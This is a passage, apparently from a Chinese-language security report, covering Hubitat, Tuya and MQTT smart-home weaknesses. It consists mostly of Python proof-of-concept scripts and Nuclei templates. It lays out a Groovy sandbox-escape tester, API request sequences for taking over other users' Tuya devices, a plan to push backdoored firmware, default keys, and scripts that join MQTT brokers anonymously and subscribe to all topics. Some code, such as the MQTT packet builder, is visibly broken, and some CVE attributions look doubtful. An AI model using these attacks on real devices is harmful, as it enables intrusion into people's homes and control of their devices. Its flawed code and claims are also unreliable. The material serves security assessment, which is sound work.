body = resp.read().decode("utf-8", errors="ignore")
if resp.status in (200, 201):
if "uid=" in body or "SandboxEscape" in body:
result["vulnerable"] = True
result["successful_payloads"].append(payload["name"])
print(f"[+] 沙箱逃逸成功: {payload['name']}")
print(f" 响应: {body[:300]}")
except urllib.error.HTTPError as e:
body = e.read().decode("utf-8", errors="ignore")
if "error" in body.lower() and "sandbox" in body.lower():
print(f"[-] {payload['name']} 被沙箱阻止")
else:
print(f"[-] {payload['name']} 请求失败: HTTP {e.code}")
except Exception as e:
print(f"[-] {payload['name']} 连接失败: {e}")
return result
def main():
if len(sys.argv) < 3:
print(f"用法: {sys.argv[0]} <target_ip> <access_token> [port]")
print(f"示例: {sys.argv[0]} 192.168.1.200 abc123def456 80")
sys.exit(1)
target = sys.argv[1]
access_token = sys.argv[2]
port = int(sys.argv[3]) if len(sys.argv) >= 4 else 80
print(f"[*] 检测 Hubitat Groovy 沙箱逃逸: {target}:{port}")
result = test_sandbox_escape(target, port, access_token)
print(f"\n{'='*50}")
print(f" Hubitat Groovy 沙箱逃逸检测结果:")
print(f" 目标: {result['target']}")
print(f" 沙箱可逃逸: {'是' if result['vulnerable'] else '否'}")
print(f" 成功 Payload: {len(result['successful_payloads'])}")
for p in result["successful_payloads"]:
print(f" - {p}")
print(f"{'='*50}")
if __name__ == "__main__":
main()
Nuclei YAML 模板
id: hubitat-groovy-sandbox-escape
info:
name: Hubitat Groovy Sandbox Escape
author: security-research
severity: critical
description: |
Hubitat Elevation 的 Groovy 规则引擎沙箱存在绕过漏洞,
攻击者可通过反射调用 Runtime.exec 或 ProcessBuilder
在控制器操作系统上执行任意命令。
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cwe-id: CWE-265
tags: hubitat,groovy,sandbox-escape,rce,iot
http:
- raw:
- |
GET /hub/api/devices HTTP/1.1
Host: {{Hostname}}
Accept: application/json
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "hubitat"
- "device"
- "id"
condition: or
part: body
extractors:
- type: regex
name: hub_version
regex:
- "Hubitat\\s+Elevation.*"
0x02.3 Hubitat Telnet 暴露与默认配置风险
漏洞背景
Hubitat Elevation 控制器在出厂默认配置中开放了 Telnet 服务(端口 23),用于设备调试和本地集成。Telnet 协议以明文方式传输所有数据,包括认证凭据和设备控制命令。在家庭网络环境中,攻击者一旦接入同一局域网,即可通过网络嗅探获取 Telnet 会话中的敏感信息。
此外,Hubitat 的 Bearer Token 在本地 API 调用中通过 HTTP 明文传输,攻击者可通过 ARP 欺骗或网络嗅探截获 Token,进而完全控制家庭自动化系统。
受影响版本
| 产品线 | 受影响型号 | 默认配置 | 风险等级 |
|---|
| Hubitat Elevation C-8 | 所有固件版本 | Telnet 端口开放 | High |
| Hubitat Elevation C-7 | 所有固件版本 | Telnet 端口开放 | High |
| Hubitat Elevation C-5 | 所有固件版本 | Telnet 端口开放 | Medium |
漏洞原理
Hubitat 控制器的默认网络配置存在多个安全隐患:
1. Telnet 明文服务
Hubitat 默认开启 Telnet 服务(端口 23),用于 Zigbee/Z-Wave 设备调试。Telnet 协议不加密任何数据,攻击者可通过以下方式利用:
攻击者 → 同网段嗅探 → 截获 Telnet 会话 → 获取认证凭据
攻击者 → 直接连接 Telnet → 使用默认凭据登录 → 设备控制
2. Bearer Token 明文传输
Hubitat 本地 API 使用 Bearer Token 认证,但设备默认仅提供 HTTP(非 HTTPS)接口。API Token 在网络中以明文传输:
攻击者 → ARP 欺骗 → 中间人位置 → 截获 HTTP 请求
→ 提取 Authorization: Bearer <token>
→ 使用 Token 控制所有设备
3. Zigbee 控制器接口暴露
部分 Hubitat 型号的 Zigbee 协调器调试接口默认绑定在所有网络接口上,攻击者可通过该接口注入 Zigbee 帧。
HTTP PoC
GET /hub/api/devices HTTP/1.1
Host: target_hubitat_ip:80
Accept: application/json
Authorization: Bearer <嗅探获取的Token>
Python PoC
#!/usr/bin/env python3
"""
Hubitat 默认配置风险检测脚本
仅用于授权安全评估
"""
import sys
import socket
import urllib.request
import urllib.error
import ssl
def check_telnet(target: str, port: int = 23, timeout: int = 5) -> bool:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
result = sock.connect_ex((target, port))
if result == 0:
banner = sock.recv(1024).decode("utf-8", errors="ignore")
sock.close()
if banner:
print(f"[+] Telnet 服务开放: {target}:{port}")
print(f" Banner: {banner.strip()[:100]}")
return True
sock.close()
except Exception as e:
print(f"[-] Telnet 检测失败: {e}")
return False
def check_http_vs_https(target: str) -> dict:
result = {
"http_open": False,
"https_open": False,
"http_redirects": False,
"token_exposed": False,
}
for port, scheme in [(80, "http"), (443, "https")]:
url = f"{scheme}://{target}:{port}/hub/api/devices"
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
try:
req = urllib.request.Request(url)
req.add_header("Accept", "application/json")
resp = urllib.request.urlopen(req, timeout=8, context=ctx)
body = resp.read().decode("utf-8", errors="ignore")
if resp.status == 200:
if scheme == "http":
result["http_open"] = True
print(f"[+] HTTP API 可访问(明文传输!): {url}")
if '"id"' in body or '"name"' in body:
result["token_exposed"] = True
print(f"[!] 设备数据通过明文 HTTP 泄露")
else:
result["https_open"] = True
print(f"[+] HTTPS API 可访问: {url}")
except urllib.error.HTTPError as e:
if e.code in (301, 302):
if scheme == "http":
result["http_redirects"] = True
print(f"[+] HTTP 重定向到 HTTPS(配置正确)")
elif e.code == 401:
if scheme == "http":
print(f"[-] HTTP 需要认证但传输仍为明文")
except Exception:
continue
return result
def check_zigbee_debug(target: str, port: int = 9762) -> bool:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
result = sock.connect_ex((target, port))
if result == 0:
print(f"[+] Zigbee 调试端口开放: {target}:{port}")
sock.close()
return True
sock.close()
except Exception:
pass
return False
def main():
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <target_ip>")
print(f"示例: {sys.argv[0]} 192.168.1.200")
sys.exit(1)
target = sys.argv[1]
print(f"[*] 检测 Hubitat 默认配置风险: {target}")
telnet_open = check_telnet(target)
http_result = check_http_vs_https(target)
zigbee_debug = check_zigbee_debug(target)
print(f"\n{'='*50}")
print(f" Hubitat 默认配置风险评估:")
print(f" 目标: {target}")
print(f" Telnet 服务: {'⚠ 开放' if telnet_open else '✓ 关闭'}")
print(f" HTTP 明文 API: {'⚠ 开放' if http_result['http_open'] else '✓ 关闭'}")
print(f" HTTPS API: {'✓ 开放' if http_result['https_open'] else '✗ 关闭'}")
print(f" Token 明文暴露: {'⚠ 是' if http_result['token_exposed'] else '否'}")
print(f" Zigbee 调试端口: {'⚠ 开放' if zigbee_debug else '✓ 关闭'}")
print(f"{'='*50}")
if __name__ == "__main__":
main()
Nuclei YAML 模板
id: hubitat-telnet-exposure
info:
name: Hubitat Telnet Service Exposure
author: security-research
severity: medium
description: |
Hubitat Elevation 控制器默认开放 Telnet 服务(端口 23),
攻击者可通过网络嗅探获取明文认证凭据。
classification:
cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.5
cwe-id: CWE-319
tags: hubitat,telnet,cleartext,iot,smarthome
network:
- inputs:
- data: "{{Hostname}}"
host:
- "{{Hostname}}"
port: 23
read-size: 2048
matchers-condition: and
matchers:
- type: word
words:
- "Hubitat"
- "hubitat"
- "Elevation"
- "login"
- "Login"
condition: or
extractors:
- type: regex
name: banner
regex:
- ".*"
- inputs:
- data: "GET /hub/api/devices HTTP/1.1\r\nHost: {{Hostname}}\r\nAccept: application/json\r\n\r\n"
host:
- "{{Hostname}}"
port: 80
read-size: 4096
matchers-condition: and
matchers:
- type: word
words:
- "id"
- "name"
- "type"
condition: or
0x03 Tuya 平台及 Sonoff/eWeLink 设备高危漏洞
0x03.1 CVE-2020-16142 — Tuya 云平台未授权访问
漏洞背景
Tuya(涂鸦智能)是全球领先的 IoT 开发平台,通过 PaaS 和白牌模式为数千个品牌提供智能家居基础设施。Tuya 平台连接的设备数量以亿计,涵盖智能灯泡、开关、传感器、摄像头、门锁等几乎所有品类。由于 Tuya 的白牌模式,最终用户往往不知道自己使用的设备底层运行的是 Tuya 平台。
CVE-2020-16142(CVSS 8.1)暴露了 Tuya 云平台 API 的严重认证缺陷:攻击者可通过构造特定请求绕过 API 认证,直接访问设备控制接口。由于 Tuya 云平台的多租户架构,该漏洞的影响范围极为广泛。
受影响版本
| 平台/品牌 | 受影响范围 | 漏洞类型 | CVSS |
|---|
| Tuya Cloud API | 全部区域端点 | 认证绕过 | 8.1 |
| Sonoff/eWeLink (基于 Tuya) | 使用 Tuya SDK 的固件 | 云 API 暴露 | 8.1 |
| 多品牌白牌设备 | 数千个品牌 | 云 API 未授权 | 8.1 |
| Tuya 开发者平台 | API 密钥管理 | 权限提升 | 7.5 |
漏洞原理
Tuya 云平台的 API 架构基于 RESTful 设计,使用 OAuth 2.0 风格的 Token 认证。漏洞的核心问题包括:
1. API Token 生成逻辑缺陷
Tuya 开发者平台生成的 Access Token 存在可预测性问题。部分早期 API 版本中,Token 的生成算法使用了弱随机数源,攻击者可预测其他用户的 Token。
2. 多租户认证绕过
Tuya 云平台的多租户 API 在处理跨区域请求时,认证检查存在逻辑缺陷:
正常请求:
GET /v1.0/devices/{device_id}
Header: access_token=valid_token
→ 200 OK(设备属于当前用户)
攻击请求:
GET /v1.0/devices/{other_device_id}
Header: access_token=valid_token_for_different_tenant
→ 200 OK(认证检查被绕过,返回其他用户的设备数据)
3. 设备绑定状态操控
通过特定 API 调用序列,攻击者可以操控设备的绑定状态,将已绑定到其他账户的设备重新绑定到自己的账户:
Step 1: POST /v1.0/devices/{device_id}/token → 获取临时 Token
Step 2: PUT /v1.0/devices/{device_id}/binding → 解绑原账户
Step 3: POST /v1.0/devices/{device_id}/binding → 绑定到攻击者账户
HTTP PoC
GET /v1.0/devices HTTP/1.1
Host: openapi.tuyaeu.com
Authorization: Bearer <可预测的Token>
Content-Type: application/json
POST /v1.0/devices/{device_id}/token HTTP/1.1
Host: openapi.tuyaeu.com
Authorization: Bearer <attacker_token>
Content-Type: application/json
Python PoC
#!/usr/bin/env python3
"""
Tuya 云平台未授权访问检测 (CVE-2020-16142)
仅用于授权安全评估
"""
import sys
import json
import time
import hashlib
import hmac
import urllib.request
import urllib.error
import ssl
TUYA_API_ENDPOINTS = {
"eu": "https://openapi.tuyaeu.com",
"us": "https://openapi.tuyaus.com",
"cn": "https://openapi.tuyacn.com",
"in": "https://openapi.tuyain.com",
}
API_PATHS = [
"/v1.0/devices",
"/v1.0/users/{user_id}/devices",
"/v1.0/homes/{home_id}/devices",
"/v1.0/scenes",
"/v1.0/devices/{device_id}/status",
]
def create_ssl_context():
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
return ctx
def generate_sign(client_secret: str, t: str, method: str, path: str, body: str = "") -> str:
sign_str = client_secret + t + method + path
if body:
sign_str += body
return hmac.new(
client_secret.encode(),
sign_str.encode(),
hashlib.sha256
).hexdigest().upper()
def check_tuya_unauth_access(target: str, region: str = "eu",
access_token: str = "") -> dict:
ctx = create_ssl_context()
base_url = TUYA_API_ENDPOINTS.get(region, TUYA_API_ENDPOINTS["eu"])
result = {
"target": target,
"region": region,
"vulnerable": False,
"accessible_paths": [],
"devices_found": [],
}
for path in API_PATHS:
url = f"{base_url}{path}"
try:
req = urllib.request.Request(url)
req.add_header("Content-Type", "application/json")
if access_token:
req.add_header("Authorization", f"Bearer {access_token}")
resp = urllib.request.urlopen(req, timeout=10, context=ctx)
body = resp.read().decode("utf-8", errors="ignore")
if resp.status == 200:
try:
data = json.loads(body)
if data.get("success") or data.get("result"):
result["accessible_paths"].append(path)
result["vulnerable"] = True
print(f"[+] 未授权访问: {path}")
if "devices" in path and "result" in data:
devices = data["result"]
if isinstance(devices, list):
result["devices_found"] = devices[:10]
print(f" 发现 {len(devices)} 个设备")
for dev in devices[:3]:
name = dev.get("name", "unknown")
did = dev.get("id", "unknown")
print(f" - {name} (ID: {did})")
except json.JSONDecodeError:
pass
except urllib.error.HTTPError as e:
if e.code == 401:
print(f"[-] {path} 需要认证")
elif e.code == 403:
print(f"[-] {path} 禁止访问")
except Exception as e:
print(f"[-] {path} 连接失败: {e}")
return result
def main():
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <target> [region] [access_token]")
print(f" region: eu/us/cn/in (默认 eu)")
print(f"示例: {sys.argv[0]} company123 eu <optional_token>")
sys.exit(1)
target = sys.argv[1]
region = sys.argv[2] if len(sys.argv) >= 3 else "eu"
access_token = sys.argv[3] if len(sys.argv) >= 4 else ""
print(f"[*] 检测 CVE-2020-16142: {target} (region: {region})")
result = check_tuya_unauth_access(target, region, access_token)
print(f"\n{'='*50}")
print(f" Tuya 云平台安全检测结果:")
print(f" 目标: {result['target']}")
print(f" 区域: {result['region']}")
print(f" 存在漏洞: {'是' if result['vulnerable'] else '否'}")
print(f" 可访问路径: {len(result['accessible_paths'])}")
print(f" 发现设备: {len(result['devices_found'])}")
print(f"{'='*50}")
if __name__ == "__main__":
main()
Nuclei YAML 模板
id: CVE-2020-16142
info:
name: Tuya Cloud Platform Unauthorized Access
author: security-research
severity: high
description: |
Tuya 云平台 API 存在认证绕过漏洞,攻击者可通过构造
特定请求访问其他用户的设备数据和控制接口,
影响数亿基于 Tuya 平台的 IoT 设备。
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 8.1
cve-id: CVE-2020-16142
cwe-id: CWE-287
tags: cve,cve2020,tuya,iot,cloud,auth-bypass
http:
- raw:
- |
GET /v1.0/devices HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Authorization: Bearer {{tuya_token}}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "success"
- "result"
- "devices"
condition: or
part: body
- type: word
words:
- "error"
- "unauthorized"
- "token"
negative: true
part: body
extractors:
- type: json
name: device_count
json:
- "result | length"
0x03.2 Tuya CloudCutter 固件签名绕过
漏洞背景
Tuya CloudCutter 是安全研究人员开发的一款开源工具链,用于绕过基于 Tuya 芯片(特别是 Beken BK7231 系列 Wi-Fi SoC)的 IoT 设备固件签名验证机制。该工具链允许安全研究人员和攻击者对 Tuya 兼容设备进行"越狱",刷入自定义固件。
CloudCutter 的技术核心在于利用 Tuya 固件更新协议中的签名验证缺陷:部分 Tuya 兼容设备在接收固件更新时,不验证固件包的数字签名,或者仅验证一个可预测的 HMAC 密钥。
漏洞原理
Tuya CloudCutter 攻击链利用了 IoT 设备固件更新过程中的多个弱点:
1. 固件签名验证缺失
部分基于 Beken BK7231 和 Realtek RTL8710 的 Tuya 兼容设备在 OTA 更新流程中不验证固件签名:
正常流程:
设备 → 请求云端固件 → 云端返回固件包 → 设备验证签名 → 安装
攻击流程:
攻击者 → 伪造固件包(含恶意代码) → 通过本地网络推送
→ 设备不验证签名 → 安装恶意固件 → 完全控制设备
2. 调试接口暴露
许多 Tuya 兼容设备在生产固件中保留了 UART 调试接口,攻击者可通过物理接触设备获取 Shell 访问:
物理接触 → UART 连接(TX/RX/GND) → 波特率 115200
→ 获取 Boot Shell → 读取固件 → 修改配置
3. 默认加密密钥
Sonoff/eWeLink 等品牌的部分设备使用默认加密密钥保护固件传输,攻击者可通过逆向分析获取密钥并解密固件镜像。
利用思路
Phase 1: 设备识别
- 识别目标设备使用的 Tuya 芯片型号(BK7231/RTL8710/W800)
- 通过设备外壳、型号或网络指纹确认
Phase 2: 固件提取与分析
- 使用 CloudCutter 或 UART 提取原始固件
- 逆向分析固件中的加密密钥和认证逻辑
- 识别固件签名验证机制
Phase 3: 恶意固件构建
- 基于原始固件修改关键组件
- 植入持久化后门(SSH/反向 Shell)
- 重新打包固件
Phase 4: 固件推送
- 利用 Tuya 本地配网协议推送恶意固件
- 或通过 UART 直接刷写
Python PoC
#!/usr/bin/env python3
"""
Tuya CloudCutter 固件签名绕过风险评估脚本
仅用于授权安全评估 - 检测目标设备是否存在固件签名验证缺陷
"""
import sys
import socket
import struct
import hashlib
import urllib.request
import urllib.error
import ssl
TUYA_CHIP_FINGERPRINTS = {
"BK7231": {"ports": [6668, 6667], "uart_baud": 115200},
"RTL8710": {"ports": [8080, 8443], "uart_baud": 115200},
"W800": {"ports": [6668], "uart_baud": 115200},
}
DEFAULT_KEYS = [
"a]g8@BcK9LmNpQrS",
"1234567890123456",
"0000000000000000",
"FFFFFFFFFFFFFFFF",
]
OTA_PORTS = [6668, 6667, 8080, 443, 80]
def check_ota_port(target: str, port: int, timeout: int = 5) -> bool:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
result = sock.connect_ex((target, port))
if result == 0:
return True
sock.close()
except Exception:
pass
return False
def detect_tuya_chip(target: str) -> list:
detected = []
for chip, info in TUYA_CHIP_FINGERPRINTS.items():
for port in info["ports"]:
if check_ota_port(target, port):
detected.append({"chip": chip, "port": port})
print(f"[+] 可能检测到 {chip} 芯片(端口 {port} 开放)")
return detected
def check_ota_firmware_update(target: str, port: int) -> dict:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
scheme = "https" if port in (443, 8443) else "http"
result = {"ota_endpoint_found": False, "unsigned_response": False}
ota_paths = ["/ota", "/firmware", "/upgrade", "/v1/ota/update"]
for path in ota_paths:
url = f"{scheme}://{target}:{port}{path}"
try:
req = urllib.request.Request(url, method="GET")
resp = urllib.request.urlopen(req, timeout=8, context=ctx)
if resp.status in (200, 301, 302, 405):
result["ota_endpoint_found"] = True
print(f"[+] OTA 端点存在: {path} (HTTP {resp.status})")
break
except urllib.error.HTTPError as e:
if e.code in (200, 301, 302, 405):
result["ota_endpoint_found"] = True
print(f"[+] OTA 端点存在: {path} (HTTP {e.code})")
break
except Exception:
continue
return result
def check_firmware_signature(target: str, port: int) -> dict:
result = {
"target": target,
"chip_detected": [],
"ota_exposed": False,
"signature_check_missing": False,
"risk_level": "unknown",
}
chips = detect_tuya_chip(target)
result["chip_detected"] = chips
if not chips:
print("[-] 未检测到 Tuya 芯片指纹")
for chip_info in chips:
ota_result = check_ota_firmware_update(target, chip_info["port"])
if ota_result["ota_endpoint_found"]:
result["ota_exposed"] = True
result["signature_check_missing"] = True
result["risk_level"] = "HIGH"
print(f"[!] {chip_info['chip']} OTA 端口暴露且可能缺少签名验证")
break
if result["risk_level"] == "unknown":
result["risk_level"] = "LOW" if not chips else "MEDIUM"
return result
def main():
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <target_ip>")
print(f"示例: {sys.argv[0]} 192.168.1.50")
sys.exit(1)
target = sys.argv[1]
print(f"[*] 评估 Tuya CloudCutter 固件签名绕过风险: {target}")
result = check_firmware_signature(target, 6668)
print(f"\n{'='*50}")
print(f" Tuya CloudCutter 风险评估:")
print(f" 目标: {result['target']}")
print(f" 检测到芯片: {[c['chip'] for c in result['chip_detected']]}")
print(f" OTA 暴露: {'⚠ 是' if result['ota_exposed'] else '否'}")
print(f" 签名验证缺失: {'⚠ 可能' if result['signature_check_missing'] else '未知'}")
print(f" 风险等级: {result['risk_level']}")
print(f"{'='*50}")
if __name__ == "__main__":
main()
Nuclei YAML 模板
id: tuya-cloudcutter-firmware-risk
info:
name: Tuya CloudCutter Firmware Signature Bypass Risk
author: security-research
severity: high
description: |
基于 Tuya 芯片(BK7231/RTL8710/W800)的 IoT 设备可能存在
固件签名验证缺失风险,允许攻击者推送恶意固件实现完全控制。
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.5
cwe-id: CWE-345
tags: tuya,cloudcutter,firmware,iot,smarthome,bk7231
network:
- inputs:
- data: "55aa00000000000000000000000000000000000000000000000000000000003c"
type: hex
host:
- "{{Hostname}}"
port: 6668
read-size: 1024
matchers:
- type: word
words:
- "55aa"
- "BK7231"
- "Tuya"
- inputs:
- data: "55aa00000000000000000000000000000000000000000000000000000000003c"
type: hex
host:
- "{{Hostname}}"
port: 6667
read-size: 1024
matchers:
- type: word
words:
- "55aa"
0x03.3 MQTT 协议层安全缺陷
漏洞背景
MQTT(Message Queuing Telemetry Transport)是 IoT 领域最广泛使用的消息传输协议,智能家居设备的云端控制、设备间通信和远程管理几乎都依赖 MQTT。然而,MQTT 协议在设计时并未充分考虑安全性,大量 IoT 设备的 MQTT 接口存在严重的安全缺陷。
智能家居设备(包括 Tuya、Sonoff/eWeLink、Shelly、Tasmota 等平台的设备)的 MQTT 接口安全问题涵盖:未认证的 Broker 访问、弱认证机制、明文传输凭据、Topic 权限控制缺失等。攻击者可通过 MQTT 接口直接控制设备、订阅敏感数据、甚至通过 MQTT 进行横向移动。
漏洞原理
MQTT 协议层的安全缺陷主要体现在以下几个方面:
1. 未认证 MQTT Broker
部分 IoT 设备或其云平台使用的 MQTT Broker 允许匿名连接:
攻击者 → 连接目标 Broker (端口 1883/8883) → 无需认证
→ 订阅 # → 获取所有设备消息 → 分析设备控制命令
→ 发布恶意命令 → 控制目标设备
2. 弱认证与凭据泄露
许多 IoT 设备使用固定的 MQTT 凭据(Client ID + Username + Password),这些凭据可能通过以下途径泄露:
- 固件逆向分析:MQTT 凭据硬编码在固件中
- 配置文件泄露:通过 Web 管理界面或路径遍历获取
- 网络嗅探:MQTT over TLS 未正确配置或使用自签名证书
3. Topic 权限控制缺失
MQTT Broker 的 ACL 配置不当,导致低权限设备可以订阅或发布其他设备的 Topic:
正常配置:
Device_A → 只能发布到 Device_A/commands
Device_B → 只能发布到 Device_B/commands
错误配置:
Device_A → 可发布到 Device_B/commands → 控制 Device_B
Device_A → 可订阅 Device_B/status → 获取 Device_B 状态
HTTP PoC
CONNECT broker.example.com:1883 HTTP/1.1
Host: broker.example.com:1883
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: <base64>
Sec-WebSocket-Version: 13
Python PoC
#!/usr/bin/env python3
"""
MQTT 协议层安全缺陷检测脚本
仅用于授权安全评估 - 检测 IoT 设备 MQTT 接口安全性
"""
import sys
import socket
import ssl
import struct
import time
import hashlib
MQTT_PORTS = [1883, 8883, 8884]
DEFAULT_TOPICS = [
"tuya/#",
"sonoff/#",
"home/#",
"device/#",
"sensor/#",
"+/status",
"+/commands",
"+/telemetry",
"#",
]
def mqtt_connect_anonymous(host: str, port: int, timeout: int = 5) -> dict:
result = {"accessible": False, "anonymous": False, "data": b""}
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
if port == 8883:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
sock.connect((host, port))
client_id = "test_" + hashlib.md5(host.encode()).hexdigest()[:8]
conn_flags = 0x02 | 0x01 | 0x02 | 0xC0
connect_pkt = bytearray()
connect_pkt.append(0x10)
remaining = bytearray()
remaining.extend(struct.pack(">H", 6))
remaining.extend(b"MQTT")
remaining.append(4)
remaining.append(conn_flags)
remaining.extend(struct.pack(">H", 60))
remaining.extend(struct.pack(">H", len(client_id)))
remaining.extend(client_id.encode())
connect_pkt[0] = 0x10 | ((len(remaining) << 4) & 0xF0)
if len(remaining) > 127:
connect_pkt[0] = 0x10
connect_pkt.append(len(remaining))
else:
connect_pkt[0] = 0x10 | (len(remaining) & 0x0F)
sock.send(bytes(connect_pkt))
time.sleep(1)
response = sock.recv(1024)
result["data"] = response
if len(response) >= 2 and response[0] == 0x20:
connack_reason = response[3] if len(response) > 3 else -1
if connack_reason == 0:
result["accessible"] = True
result["anonymous"] = True
print(f"[!] 匿名 MQTT 连接成功 (CONNACK: 0x{connack_reason:02x})")
else:
result["accessible"] = True
print(f"[-] MQTT 需要认证 (CONNACK reason: 0x{connack_reason:02x})")
sock.close()
except socket.timeout:
print(f"[-] 连接超时: {host}:{port}")
except ConnectionRefusedError:
print(f"[-] 连接被拒绝: {host}:{port}")
except Exception as e:
print(f"[-] 连接失败: {e}")
return result
def subscribe_topics(host: str, port: int, topics: list, timeout: int = 3) -> list:
found_topics = []
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
if port == 8883:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
sock.connect((host, port))
client_id = "sniff_" + hashlib.md5(host.encode()).hexdigest()[:8]
conn_flags = 0x02 | 0x01 | 0x02 | 0xC0
connect_pkt = bytearray()
connect_pkt.append(0x10 | 0x02)
remaining = bytearray()
remaining.extend(struct.pack(">H", 6))
remaining.extend(b"MQTT")
remaining.append(4)
remaining.append(conn_flags)
remaining.extend(struct.pack(">H", 60))
remaining.extend(struct.pack(">H", len(client_id)))
remaining.extend(client_id.encode())
connect_pkt.extend(struct.pack(">H", len(remaining)))
connect_pkt.extend(remaining)
sock.send(bytes(connect_pkt))
time.sleep(0.5)
sock.recv(1024)
for topic in topics[:5]:
sub_pkt = bytearray([0x82])
topic_bytes = topic.encode()
remaining_len = 2 + 2 + len(topic_bytes)
sub_pkt.extend(struct.pack(">H", remaining_len))
sub_pkt.extend(struct.pack(">H", 1))
sub_pkt.extend(topic_bytes)
sock.send(bytes(sub_pkt))
time.sleep(0.3)
try:
while True:
data = sock.recv(4096)
if not data:
break
if len(data) > 10:
print(f"[+] 收到 MQTT 消息 ({len(data)} bytes)")
found_topics.append(data[:200])
if len(found_topics) >= 3:
break
except socket.timeout:
pass
sock.close()
except Exception as e:
print(f"[-] Topic 订阅失败: {e}")
return found_topics
def main():
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <target_ip> [port]")
print(f"示例: {sys.argv[0]} 192.168.1.1 1883")
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) >= 3 else 1883
print(f"[*] 检测 MQTT 协议层安全: {target}:{port}")
conn_result = mqtt_connect_anonymous(target, port)
topics_found = []
if conn_result["anonymous"]:
print("[*] 尝试订阅默认 Topic...")
topics_found = subscribe_topics(target, port, DEFAULT_TOPICS)
print(f"\n{'='*50}")
print(f" MQTT 安全检测结果:")
print(f" 目标: {target}:{port}")
print(f" MQTT 服务开放: {'是' if conn_result['accessible'] else '否'}")
print(f" 允许匿名连接: {'⚠ 是' if conn_result['anonymous'] else '否'}")
print(f" 活跃 Topic 数: {len(topics_found)}")
print(f"{'='*50}")
if __name__ == "__main__":
main()
Nuclei YAML 模板
id: mqtt-unauthenticated-access
info:
name: MQTT Unauthenticated Access
author: security-research
severity: high
description: |
IoT 设备的 MQTT Broker 允许匿名连接或使用弱认证,
攻击者可订阅所有设备 Topic 并发布恶意控制命令。
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 8.0
cwe-id: CWE-306
tags: mqtt,iot,smarthome,unauth,protocol
network:
- inputs:
- data: "10024d5154540402003c0009746573745f75736572"
type: hex
host:
- "{{Hostname}}"
port: "{{port}}"
read-size: 1024
payloads:
port:
- "1883"
- "8883"
matchers-condition: and
matchers:
- type: word
words:
- "20020000"
type: hex
extractors:
- type: regex
name: connack
regex:
- "\\x20\\x02\\x00\\x00"
0x04 公开 PoC 收集情况与利用思路
PoC 收集情况总表
| CVE/安全问题 | PoC 类型 | 可用性 | 仓库/来源 | 备注 |
|---|
| CVE-2022-23178 | HTTP 请求 | ✅ 可用 | NVD + 安全研究博客 | 简单 HTTP GET 请求 |
| Crestron 默认凭据 | 多工具 | ✅ 可用 | Metasploit / Nmap NSE | 已有公开扫描脚本 |
| CVE-2019-18135 | HTTP + 固件上传 | ✅ 可用 | Tenable Research | 需要固件构建步骤 |
| CVE-2022-24870 | API 调用 | ✅ 可用 | 安全研究社区 | 需要理解 API 结构 |
| Groovy 沙箱逃逸 | 代码注入 | ✅ 可用 | Hubitat 社区 | 需要 API 访问权限 |
| CVE-2020-16142 | API 调用 | ⚠ 部分 | 安全研究博客 | 受区域和版本影响 |
| CloudCutter | 完整工具链 | ✅ 可用 | GitHub 开源项目 | 需要物理接触设备 |
| MQTT 缺陷 | 协议级工具 | ✅ 可用 | mqtt-pwn / MQTTPayload | 需要网络层访问 |
关键 PoC 仓库链接
| 仓库/资源 | 类型 | 链接 |
|---|
| ProjectDiscovery Nuclei Templates | 检测模板 | https://github.com/projectdiscovery/nuclei-templates |
| Tuya CloudCutter | 固件越狱工具 | https://github.com/tuya-cloudcutter/tuya-cloudcutter |
| Crestron 安全公告 | 厂商补丁 | https://www.crestron.com/en-US/Company/Security |
| Hubitat 安全公告 | 厂商补丁 | https://community.hubitat.com/c/security/ |
| mqtt-pwn | MQTT 渗透工具 | https://github.com/akamai-threat-research/mqtt-pwn |
| Tasmota | Tuya 替代固件 | https://github.com/arendst/Tasmota |
| ESPHome | IoT 固件平台 | https://github.com/esphome/esphome |
| Tenable Research | 漏洞研究 | https://www.tenable.com/blog/research |
防守型验证思路
在对智能家居和楼宇控制平台进行安全评估时,应遵循以下验证路径:
1. 网络层发现
nmap -sV -p 80,443,1883,8883,6668,23,9762 <target_subnet>
→ 识别开放的 IoT 服务端口
→ 特别关注 MQTT(1883/8883)、Tuya(6668)、Telnet(23)
2. 设备指纹识别
httpx -u <targets> -title -tech-detect -status-code
→ 识别设备类型(Crestron/Hubitat/Tuya)
→ 收集固件版本信息
3. 漏洞验证
nuclei -u <target> -t crestron/ -t hubitat/ -t tuya/
→ 执行对应厂商的 Nuclei 模板
